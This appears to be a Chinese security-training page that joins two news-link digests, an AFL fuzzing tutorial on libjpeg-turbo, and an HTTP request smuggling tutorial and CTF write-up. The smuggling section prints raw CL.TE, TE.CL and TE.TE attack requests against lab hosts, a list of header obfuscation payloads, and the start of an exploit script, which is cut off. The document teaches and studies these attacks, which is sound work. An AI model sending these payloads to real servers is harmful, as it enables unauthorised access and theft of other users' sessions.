免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、 Chrome 发布102 版本，修复了 32 个漏洞 https://www.securityweek.com/chrome-102-patches-32-vulnerabilities 2、Google Project Zero披露了 Zoom 零点击远程代码执行漏洞详情 https://www.securityweek.com/google-discloses-details-zoom-zero-click-remote-code-execution-exploit 3、 SilverTerrier 网络犯罪集团头目在尼日利亚被捕 https://securityaffairs.co/wordpress/131659/cyber-crime/silverterrier-leader-arrested.html 4、华盛顿大学医学院通知患者数据泄露 https://www.beckershospitalreview.com/cybersecurity/washington-university-school-of-medicine-notifies-patients-of-data-breach-2.html 5、BPFDoor 恶意软件利用 Solaris 漏洞获取 root 权限 https://www.bleepingcomputer.com/news/security/bpfdoor-malware-uses-solaris-vulnerability-to-get-root-privileges/ 6、Telegram上泄露了 1.42 亿条米高梅客户记录，影响大约 3000 万人 https://www.hackread.com/142-million-mgm-resorts-records-leak-telegram-download/ 7、严重的Argo CD漏洞可能允许攻击者获得管理员权限 https://portswigger.net/daily-swig/critical-argo-cd-vulnerability-could-allow-attackers-admin-privileges 8、国际刑警组织：国家网络武器将很快在暗网上出现 https://www.secrss.com/articles/42740 9、美国德克萨斯州交通部遭黑客攻击导致员工信息泄露 https://www.databreaches.net/another-texas-state-agency-data-breach-this-time-its-the-department-of-transportation/ 10、CISA 在其已知被利用漏洞目录中增加了 41 个漏洞 https://securityaffairs.co/wordpress/131646/security/known-exploited-vulnerabilities-catalog-flaws-2.html

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、被广泛使用的"Ctx"Python 包遭入侵被替换为恶意版本 https://www.securityweek.com/pypi-served-malicious-version-popular-ctx-python-package 2、帐户预劫持攻击可以在用户注册之前劫持其账户 https://www.bleepingcomputer.com/news/security/hackers-can-hack-your-online-accounts-before-you-even-register-them/ 3、Mozilla 修复了在 Pwn2Own 上被利用的 Firefox零日漏洞 https://www.bleepingcomputer.com/news/security/mozilla-fixes-firefox-thunderbird-zero-days-exploited-at-pwn2own/ 4、Fronton僵尸网络被用于进行社交媒体虚假宣传活动 https://securityaffairs.co/wordpress/131574/cyber-warfare-2/fronton-botnet-disinformation.html 5、钓鱼邮件冒充沙特阿拉伯采购订单传播GuLoader https://www.fortinet.com/blog/threat-research/spoofed-saudi-purchase-order-drops-guloader 6、美国通用汽车公司遭到凭证填充攻击暴露车主信息 https://www.bleepingcomputer.com/news/security/gm-credential-stuffing-attack-exposed-car-owners-personal-info/ 7、马克·扎克伯格因数据泄露事件被起诉 https://www.securityweek.com/dc-sues-zuckerberg-over-cambridge-analytica-privacy-breach 8、Turla APT以奥地利、爱沙尼亚和北约平台为目标 https://www.bleepingcomputer.com/news/security/russian-hackers-perform-reconnaissance-against-austria-estonia/ 9、RansomHouse 集团设立勒索市场，新增了第一批受害者 https://www.bleepingcomputer.com/news/security/new-ransomhouse-group-sets-up-extortion-market-adds-first-victims/ 10、委内瑞拉总统称该国一大型水电站系统遭黑客攻击 http://www.cankaoxiaoxi.com/world/20220524/2480275.shtml

一、AFL简介 　　AFL（American Fuzzy Lop）是由安全研究员Micha Zalewski 开发的一款基于覆盖引导（Coverage-guided）的模糊测试工具，它通过记录输入样本的代码覆盖率，从而调整输入样本以提高覆盖率，增加发现漏洞的概率。 ①从源码编译程序时进行插桩，以记录代码覆盖率（Code Coverage）； ②选择一些输入文件，作为初始测试集加入输入队列（queue）； ③将队列中的文件按一定的策略进行“突变”； ④如果经过变异文件更新了覆盖范围，则将其保留添加到队列中; ⑤上述过程会一直循环进行，期间触发了crash的文件会被记录下来。 　二、AFL安装、测试 　1.安装AFL 　下载源码 　Make 　llvm_mode安装 　之后输入以下命令进行安装 　2.AFL测试 　下载一个有缺陷的c文件 　使用 afl-gcc/afl-clang 编译 　生成一些种子语料库 　开始fuzz 　提示修改/proc/sys/kernel/core_pattern 　再次运行之前的代码可看到fuzz进度 　现在就表示我们的ACL已经安装成功了，注意出现（odd,check syntax!）是表示样例根本没有进入到测试中去，需要调整语料库。 　Ctrl+C打断可以在out文件里看见我们的测试信息 　3.并行fuzz测试 　每个afl-fuzz进程占用CPU的一个核，实际上如果是多核的主机，AFL就可以并行工作 　首先先看自己有多少内核 　以上可以看出有四个内核意味着可以同时运行4个实例 　首先指定主实例   -M 用于主实例，将 -S 添加到所有从属实例。它们可以相互同步 　主实例：afl-fuzz -M master -i in/ -o out/ -m none -- ./imgRead_afl @@ 　从实例：afl-fuzz -S slave1 -i in/ -o out/ -m none -- ./imgRead_afl @@ 　在之前的out文件夹会多出俩个不同的文件夹masterh和slave1 　现在尝试假如我们一次性运行5个实例会怎么样 　在运行第5个实例后报错，其他实例不受影响，也可以确定4个核在运行中 　三、AFL模糊测试libjpeg-turbo 　libjpeg是专门处理Jpeg解码、编码、转码的自由软件库。libjpeg-turbo是其fork版本，还有一个基于libjpeg-turbo的fork的版本是MozJpeg。 　1.编译libjpeg-turbo 　首先下载libjpeg-turbo 　之后需要修改cmakelist.txt,进行插桩编译 　在cmakelist.txt中，在cmake_minimum_required命令下添加编译器选项，在前面添加，免得被覆盖，进行插桩编译 　之后在libjpeg-turbo文件夹下 　mkdir build 　cd build 　cmake .. 　make 　sudo make install    　安装好之后build的内容如下 　之后利用程序的示例对是否成功安装libjpeg-turbo库进行测试 　该函数有俩个参数  一个输入文件名，一个作为输出文件名 　具体作用就是调用了turbojpeg.h这个库函数对输入的jpg图片进行压缩 　因为修改了cmake中的编译器设置，应该库函数里已经是被插过桩的，所以在编译时是可以不用afl-gcc编译也可以进行检测 　这样是可以生成可执行文件，也可以实现压缩图片的功能，这里也对之前的样例进行了修改，只接收一个变量，并且不对压缩文件进行保存 　但在进行模糊测试时出现以下问题 　没有插桩信息，无法进行测试 　发现它是动态编译的，虽然应该其动态链接库是插过桩的。但最后已知没有实现。这里最后考虑是想通过链接静态库实现。也是在网上查询未果后，发现在根目录下输入  make test，可以调用他自己的样例进行测试，这其中就包括了静态链接的测试 　在一个静态链接测试的项目下，查看其ling.txt,得到静态编译的方式 　最后对自己的编译自己的样例 　之后开始模糊测试 　总共测试次数超过1亿次，开了4个并行 　4个样例的的最开始输入都是不一样的，可以从路径速度和总量上看出明显的区别，确实libjpeg-turbo在更新2.0之后，其安全性能得到了极大的提升，没有收到一个报错信息。 　2.内存错误检查工具 　这里有很多的内存检查工具，这里举个大概，只大概研究ASAN (-fsanitize=address)的使用和与AFL测试的结合 　这里测试了几个漏洞文件以此来明晰ASAN的作用 　编译文件模板如下 　g++ -fsanitize=address -fno-omit-frame-pointer -o t xxx.cpp 　这里只对几种漏洞进行展示 　use-after-fee        　可以看到漏洞的名称和发生的内存地址 　stack buffer overflow 　还有很多其他类型的漏洞可以进行检测 　https://www.jianshu.com/p/3a2df9b7c353 　在AFL中启用ASAN的方式也比较简单 　在make时加上AFL_USE_ASAN=1 　注意之后编译文件时需要加上启用asan的参数，不然会报错 　3.构造自己的字典 　AFL自带自己的一个字典库，主要用于各种变异操作的 　如下是AFL的jpeg的字典 　为了符合jpeg图片的实际，需要分析在jpeg中出现次数多且固定的字符 　这里挑选一些频率较高的字符加入字典 　这里挑选的字符主要来源自各种jpeg的开头部分 　之后如果要使用字典需要使用-x参数进行指定字典文件 　https://paper.seebug.org/496/#dictionary 　4.语料库蒸馏 　afl-cmin的核心思想是：尝试找到与语料库全集具有相同覆盖范围的最小子集。 举个例子，假设有多个文件，都覆盖了相同的代码，那么就丢掉多余的文件。 　最后只留下一个文件 　afl-tmin（减小单个输入文件的大小） 　afl-tmin有两种工作模式， 　instrumented mode和crash mode。默认的工作方式是instrumented mode 　后面查资料得到tmin只能处理文件，文件夹需要修改脚本 　精简到0bytes,后面在网上看到了相似的例子，这和tmin的精简策略有关，确实存在这种情况。 　如果加上了参数-x，就会调用crash mode模式，会把导致程序非正常退出的文件直接剔除。这里测试的样例并没有crash例子，所以不进行测试。 　5.持久模式 　在持久模式下，AFL 仅模糊部分程序，而不是整个程序。当只想模糊复杂软件中的特定功能时，这很有用。与分叉服务器模式相比，这提供了许多速度改进。 　具体例子如下： 　对想要进行的部分进行修改 　此时修改的文件是turbojpeg.c 　再修改cmakelist.txt如下 　之后对库进行重新编译 　编译方式 　再进行afl-fuzz(与之前一致) 　速度上确实比之前的速度要快，最快时比之前要快上俩倍多 　6.Afl-cov使用 　可以快速帮助我们调用lcov和gcov处理来自afl-fuzz测试用例的代码覆盖率结果 　安装 　GCOV，它随gcc一起发布，所以不需要再单独安装，和afl-gcc插桩编译的原理一样，gcc编译时生成插桩的程序，用于在执行时生成代码覆盖率信息 　LCOV，它是GCOV的图形前端，可以收集多个源文件的gcov数据，并创建包含使用覆盖率信息注释的源代码HTML页面。 　这里也可以使用apt-install afl-cov来安装，不过看网上建议这个版本实际使用上会有问题，所以这里还是直接下载源码 　为了实现检查覆盖率需要修改cmakelist.txt如下 　再次编译库 　编译文件 　这里的afl-cov选择实时监控 也就是添加--live，先启动afl-cov,后启动afl-fuzz，当afl-fuzz退出时，afl-cov就会跟着退出 　启动afl-cov的命令 　/home/user/Desktop/afl-cov/afl-cov -d afl-cc --live --enable-branch-coverage -c . -e "cat AFL_FILE | ./ttt AFL_FILE" --overwrite 　-d是之后afl-fuzz的输出文件，-c是直向源码文件的，在编译.c文件后，会生成一个.gno文件，-c 后面跟该文件的目录 　启动afl-fuzz（与之前一致） 　Afl-fuzz退出后，afl-cov需要等一会才能正常退出，此时就可以看见生成分析的网页了 　也可以针对已经生成的数据直接开启afl-cov,但要求编译已经加上了-fprofile-arcs -ftest-coverage  　网页首页 　也可以进入到文件里，查看具体语句的执行次数 　7.afl_postprocess使用 　它最主要的作用就是可以规定生成种子的格式 　作者在github上的样例的作用是让每个测试用例开头的标头都是GIF89a 　https://github.com/mirrorer/afl/blob/master/experimental/post_library/post_library.so.c 　编译方法 　gcc -shared -wall -O3 post_library.so.c -o post_library.so 　可以看看afl-fuzz.c对该方法的支持 　获取AFL_POST_LIBRARY环境变量的值，自动加载afl_postprocess函数 　这里推荐使用export设定环境变量，需要说明的是export的环境变量只在当前的shell（BASH）或其子shell（BASH）下是有效的，shell关闭了，变量也就失效了，再打开新shell时就没有这个变量，需要使用的话还需要重新定义。如果需要一直使用，需要修改配置文件，方法推荐 　https://blog.csdn.net/wx_it/article/details/118450790 　加载后处理器库成功 　也可以看到我们的测试样例变成了GIF格式，后处理库有效。 　测试其他的例子 　这部分需要注意的是对源码的处理，确保样例格式的满足输入的要求  　参考资料 file:///C:/Users/antvsion/Desktop/AFL--%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E4%BD%BF%E7%94%A8%E6%B5%85%E6%9E%90.html#0https://paper.seebug.org/841/https://paper.seebug.org/842/ https://securitylab.github.com/research/fuzzing-challenges-solutions-1/ https://securitylab.github.com/research/fuzzing-sof 　实验推荐 　实验：Fuzz之AFL（蚁景网安实验室）　https://www.yijinglab.com/expc.do?ce=7ffeb07e-680b-4490-8667-cf66b362635c>>

0x00 前言 　最近刷题的时候多次遇到HTTP请求走私相关的题目，但之前都没怎么接触到相关的知识点，只是在GKCTF2021--hackme中使用到了 CVE-2019-20372(Nginx<1.17.7 请求走私漏洞)，具体讲就是通过nginx的走私漏洞访问到Weblogic Console的登录页面，然后打Weblogic历史漏洞读取flag。当时做那道题的时候对走私漏洞没有深入理解，今天打ISCC2022的时候又遇到了一道利用gunicorn<20.04请求走私漏洞绕waf的题目，因此好好学习一下还是很有必要的。 　0x01 发展时间线 　最早在2005年，由Chaim Linhart，Amit Klein，Ronen Heled和Steve Orrin共同完成了一篇关于HTTP Request Smuggling这一攻击方式的报告。通过对整个RFC文档的分析以及丰富的实例，证明了这一攻击方式的危害性。 　https://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf  　在2016年的DEFCON 24 上，@regilero在他的议题——Hiding Wookiees in HTTP中对前面报告中的攻击方式进行了丰富和扩充。 　https://media.defcon.org/DEF%20CON%2024/DEF%20CON%2024%20presentations/DEF%20CON%2024%20-%20Regilero-Hiding-Wookiees-In-Http.pdf 　在2019年的BlackHat USA 2019上，PortSwigger的James Kettle在他的议题——HTTP Desync Attacks: Smashing into the Cell Next Door中针对当前的网络环境，展示了使用分块编码来进行攻击的攻击方式，扩展了攻击面，并且提出了完整的一套检测利用流程。 　0x02 什么是请求走私 　当今的web架构中，单纯的一对一客户端---服务端结构已经逐渐过时。为了更安全的处理客户端发来的请求，服务端会被分为两部分：前端服务器与后端服务器。前端服务器(例如代理服务器)负责安全控制，只有被允许的请求才能转发给后端服务器，而后端服务器无条件的相信前端服务器转发过来的全部请求，并对每一个请求都进行响应。但是在这个过程中要保证前端服务器与后端服务器的请求边界设定一致，如果前后端服务器对请求包处理出现差异，那么就可能导致攻击者通过发送一个精心构造的http请求包，绕过前端服务器的安全策略直接抵达后端服务器访问到原本禁止访问的服务或接口，这就是http请求走私。 　听起来是不是有点像SSRF？不过SSRF与HTTP请求走私是有差别的，SSRF是直接利用内网机器来访问内网资源，但请求走私不是。用一张portswigger报告中经典的图来理解一下，有一种夹带私货的感觉，或许这就是被称为走私漏洞的原因吧：   　0x03 漏洞成因与常见类型 　http请求走私攻击比较特殊，它不像常规的web漏洞那样直观。它更多的是在复杂网络环境下，不同的服务器对RFC标准实现的方式不同，程度不同。因此，对同一个HTTP请求，不同的服务器可能会产生不同的处理结果，这样就产生了安全风险。 　在学习之前我们先了解一下HTTP1.1中使用最为广泛的两种特性：Keep-Alive&Pipeline。 　Keep-Alive&Pipeline 　所谓Keep-Alive，就是在HTTP请求中增加一个特殊的请求头Connection: Keep-Alive，告诉服务器，接收完这次HTTP请求后，不要关闭TCP链接，后面对相同目标服务器的HTTP请求，重用这一个TCP链接，这样只需要进行一次TCP握手的过程，可以减少服务器的开销，节约资源，还能加快访问速度。当然，这个特性在HTTP1.1中是默认开启的。 　有了Keep-Alive之后，后续就有了Pipeline，在这里呢，客户端可以像流水线一样发送自己的HTTP请求，而不需要等待服务器的响应，服务器那边接收到请求后，需要遵循先入先出机制，将请求和响应严格对应起来，再将响应发送给客户端。 　如今，浏览器默认是不启用Pipeline的，但是一般的服务器都提供了对Pipleline的支持。 　CL&TE 　CL 和 TE 即是 Content-Length 和 Transfer-Encoding 请求头（严格来讲前者是个实体头，为了方便就都用请求头代指）。这里比较有趣的是 Transfer-Encoding（HTTP/2 中不再支持），指定用于传输请求主体的编码方式，可以用的值有 chunked/compress/deflate/gzip/identity ，完整的定义在 https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Transfer-Encoding#Directives 和 https://tools.ietf.org/ 　CL好理解，对于TE我们重点关注chunked。当我们设置TE为chunked时，CL就会被省略。为了区分chunk的边界，我们需要在每个chunk前面用16进制数来表示当前chunk的长度，后面加上\r\n，再后面就是chunk的内容，然后再用\r\n来代表chunk的结束。最后用长度为 0 的块表示终止块。终止块后是一个 trailer，由 0 或多个实体头组成，可以用来存放对数据的数字签名等。譬如下面这个例子： 　POST / HTTP/1.1 　Host: example.com 　Content-Type: application/x-www-form-urlencoded 　Transfer-Encoding: chunked 　b  //chunk_size 　q=smuggling 　6 　hahaha 　0  //end 　[blank] 　[blank] 　另外要注意\r\n占2字节，我们在计算长度的时候很容易把它们忽略。最后把请求包以字节流形式表述出来就是： 　POST / HTTP/1.1\r\nHost: 1.com\r\nContent-Type: application/x-www-form-urlencoded\r\nTransfer-Encoding: chunked\r\n\r\nb\r\nq=smuggling\r\n6\r\nhahaha\r\n0\r\n\r\n  　常见走私类型 　1.CL不为0 　如果前端代理服务器允许GET携带请求体，而后端服务器不允许GET携带请求体，后端服务器就会直接忽略掉GET请求中的Content-Length头，这就有可能导致请求走私。 　例如我们构造出： 　GET / HTTP/1.1\r\n 　Host: example.com\r\n 　Content-Length: 43\r\n 　GET / admin HTTP/1.1\r\n 　Host: example.com\r\n 　\r\n 　在前端服务器看来它是一个请求，但是在后端服务器来看它就是： 　//第一个请求 　GET / HTTP/1.1\r\n 　Host: example.com\r\n 　//第二个请求 　GET / admin HTTP/1.1\r\n 　Host: example.com\r\n 　2.CL CL 　在RFC7230的第3.3.3节中的第四条中，规定当服务器收到的请求中包含两个Content-Length，而且两者的值不同时，需要返回400错误。 　https://tools.ietf.org/html/rfc7230#section-3.3.3 　但是很明显这并非是强制的，如果服务器不遵守安全规定在服务器收到多个CL不相同的请求时不返回400错误，那么就可能会导致请求走私。 　我们假设前端服务器按照第一个CL处理而后端服务器按照第二个CL，构造出如下HTTP包： 　POST / HTTP/1.1\r\n 　Host: example.com\r\n 　Content-Length: 8\r\n 　Content-Length: 7\r\n 　12345\r\n 　a 　前端代理服务器收到的请求通过第一个CL判断body为8字节，随后将包发送给后端源服务器；源服务器收到请求通过第二个CL判断body为7字节，这时候最后一个字节 b'a'就会被遗留在源服务器缓存器。由于前后端服务器一般是宠用TCP连接，假设此时正常用户向服务器发送了正常的数据包，如下： 　GET / HTTP/1.1\r\n 　Host: example.com\r\n 　这时残留在缓存中的一个字节就会被添加到这个正常的请求前端变成： 　aGET / HTTP/1.1\r\n 　Host: example.com\r\n 　导致了请求走私，正常数据包被篡改。 　但很明显这种情况过于“巧合”应该很难遇见，存在两个CL的包一般服务器都不会接受，在RFC2616的第4.4节中，规定:如果收到同时存在Content-Length和Transfer-Encoding这两个请求头的请求包时，在处理的时候必须忽略Content-Length，这就意味着我们可以在头部同时包含这两种请求头，相比这下这种方式更现实一些。 　3.CL TE 　所谓CL TE就是前置服务器认为 Content-Length 优先级更高（或者说根本就不支持 Transfer-Encoding ） ，后端服务器认为 Transfer-Encoding 优先级更高。 　我们可以构造出body中带有字节 0的请求包，前端服务器通过CL判断这是一个正常的数据包并转发给后端，后端服务器使用TE就会把字节0后的数据滞留到缓冲区，并且与下一次的正常请求进行拼接，这里用一下portswigger团队的lab作为实验：https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te 　构造如下请求包: 　POST / HTTP/1.1\r\n 　Host: ac721f8e1fcb0119c0b98800005c0061.web-security-academy.net\r\n 　Cookie: session=ehzpRrrgyPHDRJtSnaWLcZ0fstSXLWiC\r\n 　Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"\r\n 　Sec-Ch-Ua-Mobile: ?0\r\n 　Sec-Ch-Ua-Platform: "Windows"\r\n 　Upgrade-Insecure-Requests: 1\r\n 　User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36\r\n 　Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\n 　Sec-Fetch-Site: none\r\n 　Sec-Fetch-Mode: navigate\r\n 　Sec-Fetch-User: ?1\r\n 　Sec-Fetch-Dest: document\r\n 　Accept-Encoding: gzip, deflate\r\n 　Accept-Language: zh-CN,zh;q=0.9\r\n 　Connection: close\r\n 　Content-Length: 10\r\n 　Transfer-Encoding:chunked\r\n 　\r\n 　0\r\n 　\r\n 　A\r\n 　\r\n 　连续发送几次就会发现字母A被拼接到了下一请求中，导致了请求走私，当然也会报错。  　4.TE CL 　TE CL与CL TE正好相反，假如前端服务器处理TE请求头，而后端服务器处理CL请求头，我们同样可以构造恶意数据包完成走私攻击；依旧使用portswigger的lab：https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl 　我们构造出如下请求： 　POST / HTTP/1.1 　Host: ac901ff41f9aa7fdc0ce7b16001000db.web-security-academy.net 　Cookie: session=MrJkkUD4dyxv9gzzgERPtb56d0cCo79Z 　Cache-Control: max-age=0 　Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100" 　Sec-Ch-Ua-Mobile: ?0 　Sec-Ch-Ua-Platform: "Windows" 　Upgrade-Insecure-Requests: 1 　User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36 　Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 　Sec-Fetch-Site: cross-site 　Sec-Fetch-Mode: navigate 　Sec-Fetch-User: ?1 　Sec-Fetch-Dest: document 　Referer: https://portswigger.net/ 　Accept-Encoding: gzip, deflate 　Accept-Language: zh-CN,zh;q=0.9 　Connection: close 　Content-Type: application/x-www-form-urlencoded 　Content-Length: 4 　Transfer-Encoding: chunked 　12 　WPOST / HTTP/1.1 　0 　多次发送后发现：  　WPOST被拆分了出来，重点关注body部分 　\r\n 　12\r\n 　WPOST / HTTP/1.1\r\n 　\r\n 　0\r\n 　\r\n 　前端处理TE读取到0\r\n\r\n之后就认为读取完毕发送给后端，而后端处理CL只读取4字节\r\n12就认为数据包结束，这时候剩下的WPOST / HTTP/1.1\r\n\r\n0\r\n\r\n就被认为是另一个请求，因此发生了请求报错。 　5.TE TE 　TE-TE：前置和后端服务器都支持 Transfer-Encoding，但通过混淆能让它们在处理时产生分歧。 　lab:https://portswigger.net/web-security/request-smuggling/lab-obfuscating-te-header 　构造出如下请求包： 　POST / HTTP/1.1 　Host: ace41f161f1a1382c0814ee300db0086.web-security-academy.net 　Cookie: session=nqskpdP0aWuG4GW5xlYYxEUVulcJC6vG 　Cache-Control: max-age=0 　Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100" 　Sec-Ch-Ua-Mobile: ?0 　Sec-Ch-Ua-Platform: "Windows" 　Upgrade-Insecure-Requests: 1 　User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36 　Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 　Sec-Fetch-Site: cross-site 　Sec-Fetch-Mode: navigate 　Sec-Fetch-User: ?1 　Sec-Fetch-Dest: document 　Referer: https://portswigger.net/ 　Accept-Encoding: gzip, deflate 　Accept-Language: zh-CN,zh;q=0.9 　Connection: close 　Content-Type: application/x-www-form-urlencoded 　Content-Length: 4 　Transfer-Encoding:chunked  //两种TE造成混淆 　Transfer-Encoding:cow 　5c 　WPOST / HTTP/1.1 　Content-Type: application/x-www-form-urlencoded 　Content-Length: 15 　x=1 　0 　多次发送后：  　可以看到这里我们采用了： 　Transfer-Encoding:chunked\r\n 　Transfer-Encoding:cow\r\n 　除了这种混淆方式，除了这些portswigger团队还给出了其它可用于TE混淆的payload： 　Transfer-Encoding: xchunked 　Transfer-Encoding[空格]: chunked 　Transfer-Encoding: chunked 　Transfer-Encoding: x 　Transfer-Encoding:[tab]chunked 　[空格]Transfer-Encoding: chunked 　X: X[\n]Transfer-Encoding: chunked 　Transfer-Encoding 　: chunked 　0x04 走私攻击应用实例 　1.使用CL TE走私获取其他用户的请求 　lab：https://ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net/ 　打开页面是blog，用户可以在页面发表评论，由于前后端服务器的请求头处理差异导致我们可以利用CL TE获取其它用户的请求头，譬如我们构造出如下请求： 　POST / HTTP/1.1 　Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net 　Cookie: session=plmft6w5VTTDEI0J15a06sNdaQUcPNPO 　Content-Length: 333 　Transfer-Encoding:chunked 　Content-Type: application/x-www-form-urlencoded 　0 　POST /post/comment HTTP/1.1 　Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net 　Cookie: session=plmft6w5VTTDEI0J15a06sNdaQUcPNPO 　Content-Length: 700 　Content-Type: application/x-www-form-urlencoded 　csrf=vMqN9Cq1aip2DYMTyFEokIA5IkONc7oM&postId=6&name=a&email=1%40qq.com&website=http%3A%2F%2F1.com&comment=spring 　前端服务器使用CL验证，获取CL为333后判定这是一个正常的请求并发送给后端，而后端服务器通过TE的结尾表标识0\r\n\r\n认为前半部分是一个正常的请求，而后半部分： 　POST /post/comment HTTP/1.1 　Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net 　Cookie: session=plmft6w5VTTDEI0J15a06sNdaQUcPNPO 　Content-Length: 700 　Content-Type: application/x-www-form-urlencoded 　csrf=vMqN9Cq1aip2DYMTyFEokIA5IkONc7oM&postId=6&name=a&email=1%40qq.com&website=http%3A%2F%2F1.com&comment=spring 　因为Pipeline的存在被放置在了缓存区。如果这时另一个正常用户也发来了一段评论，那么这个请求会被拼接到滞留在缓存区的请求后面构成一个新的请求： 　POST /post/comment HTTP/1.1 　Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net 　Cookie: session=plmft6w5VTTDEI0J15a06sNdaQUcPNPO 　Content-Length: 700 　Content-Type: application/x-www-form-urlencoded 　csrf=vMqN9Cq1aip2DYMTyFEokIA5IkONc7oM&postId=6&name=a&email=1%40qq.com&website=http%3A%2F%2F1.com&comment=springPOST /post/comment HTTP/1.1 　Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net 　Cookie: session=ashAwdweas....... 　这时候我们就发现请求头被拼接到了comment的后面然后被当作comment返回，这样我们就可能通过获取到其他用户的Cookie。 　在lab中我们要不断第二个CL的大小，调整至合适大小才有可能正常泄露出来；我从700开始服务器报500，但不知道是哪里出了问题响应一直超时：  　不过原理还是很好理解，大家可以自己去试一试，有点玄学。 　2.泄露请求头重写请求实现未授权访问 　前面我们提到，前端服务器的作用之一就是过滤外界用户对于未授权接口的访问，一般前端用户收到一段请求后，会在包里添加一些请求头例如： • 用户的session等会话ID。 • XFF头用于显示用户IP，当然一般不会是X-Forwarded-For因为很容易被猜到。 • 用户指纹信息、token等。 　如果我们能泄露这些前端服务器向后端服务器中继发送的请求中的请求头，那么我们就可以伪造出前端服务器的请求包来完成对敏感接口的未授权访问，实现一些恶意操作。 　那么问题来了，我们如何能获取到前端服务器发送到后端服务器的请求头呢？其实不难想，如果服务器能对我们输入的POST参数，即body部分响应输出，然后我们构造一个普通的请求放在body后面，前端服务器接收到之后就会对我们添加的请求进行重写，如果我们的指定Content-Length为较大的值就会把前端服务器重写时添加的重要字段给泄露出来拼接到body后面，随后后端服务器会将其与响应一并返回。 　这么讲可能还是有些抽象，我们拿lab来举例： 　https://acbc1f4d1e121980c02b64d600c40022.web-security-academy.net/ 　构造出如下请求包： 　POST / HTTP/1.1 　Host: acbc1f4d1e121980c02b64d600c40022.web-security-academy.net 　User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36 　Cookie: session=RcsAYo8SoCQx0bwXn0oG0G1RkLNPHuz4 　Content-Type: application/x-www-form-urlencoded 　Content-Length: 77 　Transfer-Encoding:chunked 　0 　POST / HTTP/1.1 　Content-Length:70 　Connection:close 　search=111 　多发送几次我们会发现成功泄露出来XFF头信息：  　我们简单捋一下过程便于理解，首先前端服务器通过CL判断出这是一个完整的请求并转发给后端服务器，后端服务器通过TE将0字节标识前的部分正常处理，后半部分也被看作是一次正常的请求但被滞留在缓存区，同时由于我们设置的CL是超过实际长度，缓存区就会等待下一次正常请求，也就是前端服务器发来的新请求截取其部分请求头放在请求参数后面凑够CL后一并返回。 　我们走私到后端服务器被滞留在缓存区的请求是： 　POST / HTTP/1.1 　Content-Length:70 　Connection:close 　search=111 　后端服务器接收到新请求并拼接在search之后是： 　POST / HTTP/1.1 　Content-Length:70 　Connection:close 　search=111 POST / HTTP/1.1 X-TsINOz-Ip: 117.136.5.78 Host:...... 　最后后端服务器就会将信息响应返回。 　3.其它应用 　除了这两种还有一些利用方式： • 反射型 XSS 组合拳 • 将 on-site 重定向变为开放式重定向 • 缓存投毒 • 缓存欺骗 　这些@mengchen师傅在知道创宇404发的paper里都有实验讲解，感兴趣的可以去看一看。(paper链接在文末) 　0x05 CTF实战利用 　GKCTF2021[hackme]  　这道题目首先是需要nosql注入爆出密码，然后登陆获得任意文件读取功能，前半部分我们暂且忽略，我们重点关注后半部分。 　读取nginx配置文件发现后端存在weblogic服务：  　同时注意到nginx版本为1.17.6，存在请求走私：  　假如我们构造： 　GET /a HTTP/1.1 　Host: localhost 　Content-Length: 56 　GET /_hidden/index.html HTTP/1.1 　Host: notlocalhost 　那么nginx会把这两个请求都执行，这就会造成请求走私。可参考：https://v0w.top/2020/12/20/HTTPsmuggling/#5-2-%EF%BC%88CVE-2020-12440%EF%BC%89Nginx-lt-1-8-0-%E8%AF%B7%E6%B1%82%E8%B5%B0%E7%A7%81 　针对这道题目我们构造出如下请求包： 　GET /test HTTP/1.1 　Host: node4.buuoj.cn:27230 　Content-Length: 0 　Transfer-Encoding: chunked 　GET /console/login/LoginForm.jsp HTTP/1.1 　Host: weblogic 　响应包中包含了weblogic的版本信息： 　WebLogic Server Version: 12.2.1.4.0 　版本正好契合CVE-2020-14882，我们直接拿socket去打就可以拿到flag。 　最终exp 　//来源于https://www.lemonprefect.cn的博客 　import socket 　sSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 　sSocket.connect(("node4.buuoj.cn", 26319)) 　payload = b'''HEAD / HTTP/1.1\r\nHost: node4.buuoj.cn\r\n\r\nGET 